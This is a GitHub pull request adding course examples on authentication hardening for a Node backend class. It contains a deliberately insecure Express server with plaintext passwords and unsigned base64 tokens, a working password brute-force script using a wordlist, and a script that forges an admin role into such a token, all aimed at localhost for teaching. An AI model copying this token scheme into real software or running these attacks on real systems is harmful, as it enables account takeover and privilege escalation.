-
Notifications
You must be signed in to change notification settings - Fork 14
Added additional materials and edits according to auth hardening #283
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Merged
Merged
Changes from all commits
Commits
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
88 changes: 88 additions & 0 deletions
88
courses/backend/node/module-materials/examples/auth-home-made-token.js
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,88 @@ | ||
| import express from "express"; | ||
| import { createServer } from "http"; | ||
|
|
||
| // Example in-memory "database" for teaching purposes only | ||
| const users = [ | ||
| { | ||
| id: 1, | ||
| username: "alice", | ||
| password: "password123", | ||
| role: "user", | ||
| }, | ||
| { | ||
| id: 2, | ||
| username: "admin", | ||
| password: "admin123", | ||
| role: "admin", | ||
| }, | ||
| ]; | ||
|
|
||
| function getUserByUsername(username) { | ||
| return users.find((user) => user.username === username) ?? null; | ||
| } | ||
|
|
||
| function issueToken(user) { | ||
| const payload = { userId: user.id, username: user.username, role: user.role }; | ||
| return Buffer.from(JSON.stringify(payload)).toString("base64"); | ||
| } | ||
|
|
||
| function decodeToken(token) { | ||
| try { | ||
| return JSON.parse(Buffer.from(token, "base64").toString("utf8")); | ||
| } catch { | ||
| return null; | ||
| } | ||
| } | ||
|
|
||
| const app = express(); | ||
| app.use(express.json()); | ||
|
|
||
| app.post("/login", (req, res) => { | ||
| const { username, password } = req.body; | ||
| const user = getUserByUsername(username); | ||
|
|
||
| if (!user || user.password !== password) { | ||
| return res.status(401).json({ error: "Invalid credentials" }); | ||
| } | ||
|
|
||
| const token = issueToken(user); | ||
| res.json({ message: "Logged in with base64 token", token }); | ||
| }); | ||
|
|
||
| function requireTokenAuth(req, res, next) { | ||
| const authHeader = req.headers["authorization"]; | ||
| const token = authHeader?.startsWith("Bearer ") ? authHeader.slice(7) : null; | ||
|
|
||
| if (!token) { | ||
| return res.status(401).json({ error: "No token provided" }); | ||
| } | ||
|
|
||
| const payload = decodeToken(token); | ||
|
|
||
| if (!payload) { | ||
| return res.status(401).json({ error: "Invalid token" }); | ||
| } | ||
|
|
||
| req.user = payload; | ||
| next(); | ||
| } | ||
|
|
||
| app.get("/protected", requireTokenAuth, (req, res) => { | ||
| res.json({ data: "Token-protected resource", user: req.user }); | ||
| }); | ||
|
|
||
| // Admin-only route — great for demonstrating role forgery | ||
| app.get("/admin", requireTokenAuth, (req, res) => { | ||
| if (req.user.role !== "admin") { | ||
| return res.status(403).json({ error: "Admins only" }); | ||
| } | ||
| res.json({ data: "Secret admin data", user: req.user }); | ||
| }); | ||
|
|
||
| app.post("/logout", (req, res) => { | ||
| res.json({ message: "Logged out (token must be discarded client-side)" }); | ||
| }); | ||
|
|
||
| app.listen(3000, () => { | ||
| console.log("> Ready on http://localhost:3000 (base64 token example)"); | ||
| }); |
78 changes: 78 additions & 0 deletions
78
courses/backend/node/module-materials/examples/auth-sessions-brute-force.js
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,78 @@ | ||
| import fs from "fs"; | ||
| import readline from "readline"; | ||
|
|
||
| const TARGET_URL = "http://localhost:3000/login"; | ||
| const username = process.argv[2] ?? "alice"; | ||
| const wordlistPath = process.argv[3] ?? "/usr/share/wordlists/rockyou-50.txt"; | ||
| const CONCURRENCY = 10; | ||
|
|
||
| async function tryPassword(password) { | ||
| const res = await fetch(TARGET_URL, { | ||
| method: "POST", | ||
| headers: { "Content-Type": "application/json" }, | ||
| body: JSON.stringify({ username, password }), | ||
| }); | ||
| return { password, success: res.status === 200 }; | ||
| } | ||
|
|
||
| async function runChunk(passwords) { | ||
| return Promise.all(passwords.map(tryPassword)); | ||
| } | ||
|
|
||
| async function bruteForce() { | ||
| console.log(`🎯 Target : ${TARGET_URL}`); | ||
| console.log(`👤 Username: ${username}`); | ||
| console.log(`📖 Wordlist: ${wordlistPath}\n`); | ||
|
|
||
| const rl = readline.createInterface({ | ||
| input: fs.createReadStream(wordlistPath, { encoding: "latin1" }), | ||
| crlfDelay: Infinity, | ||
| }); | ||
|
|
||
| let attempted = 0; | ||
| let chunk = []; | ||
| const startTime = Date.now(); | ||
|
|
||
| for await (const line of rl) { | ||
| const password = line.trim(); | ||
| if (!password) continue; | ||
|
|
||
| chunk.push(password); | ||
|
|
||
| if (chunk.length >= CONCURRENCY) { | ||
| const results = await runChunk(chunk); | ||
| attempted += results.length; | ||
|
|
||
| const found = results.find((r) => r.success); | ||
| if (found) { | ||
| const elapsed = ((Date.now() - startTime) / 1000).toFixed(1); | ||
| console.log( | ||
| `\n✅ PASSWORD FOUND after ${attempted} attempts (${elapsed}s)`, | ||
| ); | ||
| console.log(` Username : ${username}`); | ||
| console.log(` Password : ${found.password}`); | ||
| process.exit(0); | ||
| } | ||
|
|
||
| process.stdout.write(`\r⏳ Tried ${attempted} passwords...`); | ||
| chunk = []; | ||
| } | ||
| } | ||
|
|
||
| // flush remaining chunk (wordlist end) | ||
| if (chunk.length > 0) { | ||
| const results = await runChunk(chunk); | ||
| attempted += results.length; | ||
| const found = results.find((r) => r.success); | ||
| if (found) { | ||
| console.log( | ||
| `\n✅ PASSWORD FOUND: ${found.password} (after ${attempted} attempts)`, | ||
| ); | ||
| process.exit(0); | ||
| } | ||
| } | ||
|
|
||
| console.log(`\n❌ Password not found after ${attempted} attempts.`); | ||
| } | ||
|
|
||
| bruteForce().catch(console.error); |
17 changes: 17 additions & 0 deletions
17
courses/backend/node/module-materials/examples/token-forgery.js
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,17 @@ | ||
| const token = process.argv[2]; | ||
|
|
||
| if (!token) { | ||
| console.error("Usage: node attack-forge-token.js <token>"); | ||
| process.exit(1); | ||
| } | ||
|
|
||
| function forgeToken(token, overrides) { | ||
| const decoded = JSON.parse(Buffer.from(token, "base64").toString("utf8")); | ||
| const forged = { ...decoded, ...overrides }; | ||
| return Buffer.from(JSON.stringify(forged)).toString("base64"); | ||
| } | ||
|
|
||
| const forgedToken = forgeToken(token, { role: "admin" }); | ||
|
|
||
| console.log("\n Original token:", token); | ||
| console.log("\n Forged token:", forgedToken); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
These are in the right place :-) Thanks for adding